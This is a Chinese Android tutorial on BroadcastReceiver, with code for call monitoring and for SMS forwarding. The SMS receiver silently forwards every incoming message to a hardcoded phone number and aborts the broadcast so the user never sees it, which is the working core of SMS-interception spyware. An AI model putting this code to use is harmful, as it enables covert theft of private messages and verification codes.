Android从零开始—监听广播BroadcastReceiver（二十一）

知识点：电话拒接+短息转发（继承BroadcastReceiver）


步骤一、电话的监听（代码如下）

package com.zjyb.demo44;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.widget.Toast;

//监听电话呼出和呼入的广播
public class PhoneBroadReceiver extends BroadcastReceiver{

	
	static long s;
	static long e;
	static boolean flag=false;
	
	//当电话打出的时候,显示打出的号码
	//当接到电话的时候,显示拨入的号码以及通话时间
	@Override
	public void onReceive(Context context, Intent intent) {
		//判断是呼入还是呼出
		if(intent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")){
			//当前是呼出，显示呼出号码
			String number=intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);
			Log.v("TAG", number);
			//18674391429
		}else{
			//当前是呼入，显示呼入号码，并且统计通话时间
			TelephonyManager manager=(TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE);
			switch(manager.getCallState()){
				case TelephonyManager.CALL_STATE_RINGING:
					String number=intent.getStringExtra("incoming_number");
					Log.v("TAG", "来电了,电话号码是:"+number);
					//if(number.equals("18674391429")){
						//黑名单，拒接
					//	Log.v("TAG", "拒接");
					//	abortBroadcast();
					//}
					break;
				case TelephonyManager.CALL_STATE_OFFHOOK:
					Log.v("TAG", "通话中...");
					s=System.currentTimeMillis();
					break;
				case TelephonyManager.CALL_STATE_IDLE:
					Log.v("TAG", "挂断");
					e=System.currentTimeMillis();
					flag=true;
					break;
			}
			if(flag&&e>s){
				Log.v("TAG", "当前通话时间:"+(e-s)/1000);
				flag=false;
				e=0;
				s=0;
			}
		}
		
		
	}

}

步骤二、短息转发（代码如下）

package com.zjyb.demo44;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

//接收短信广播
public class SmsBroadReceiver extends BroadcastReceiver{

	@Override
	public void onReceive(Context context, Intent intent) {
		Bundle bundle=intent.getExtras();
		Object[] obs=(Object[])bundle.get("pdus");//protocol description units
		SmsMessage[] messages=new SmsMessage[obs.length];
		for(int i=0;i<obs.length;i++){
			messages[i]=SmsMessage.createFromPdu((byte[])obs[i]);
			String address=messages[i].getOriginatingAddress();
			String msg=messages[i].getMessageBody();
			Log.v("TAG", "收到来自:"+address);
			Log.v("TAG","消息是:"+msg);
			//将接收的短消息转发
			//13838384381
			SmsManager manager=SmsManager.getDefault();
			manager.sendTextMessage("13838384381", null, msg, null,null);
		}
		abortBroadcast();
	}

}

步骤三、广播注册+权限配置（代码如下）

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.zjyb.demo44"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.zjyb.demo44.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <receiver 
            android:name=".PhoneBroadReceiver"
            >
            <intent-filter >
                <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
                <action android:name="android.intent.action.PHONE_STATE"/>
            </intent-filter>
        </receiver>
        <receiver 
            android:name=".SmsBroadReceiver"
            >
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
    </application>
	<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
	<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
	<uses-permission android:name="android.permission.RECEIVE_SMS"/>
	<uses-permission android:name="android.permission.SEND_SMS"/>
</manifest>
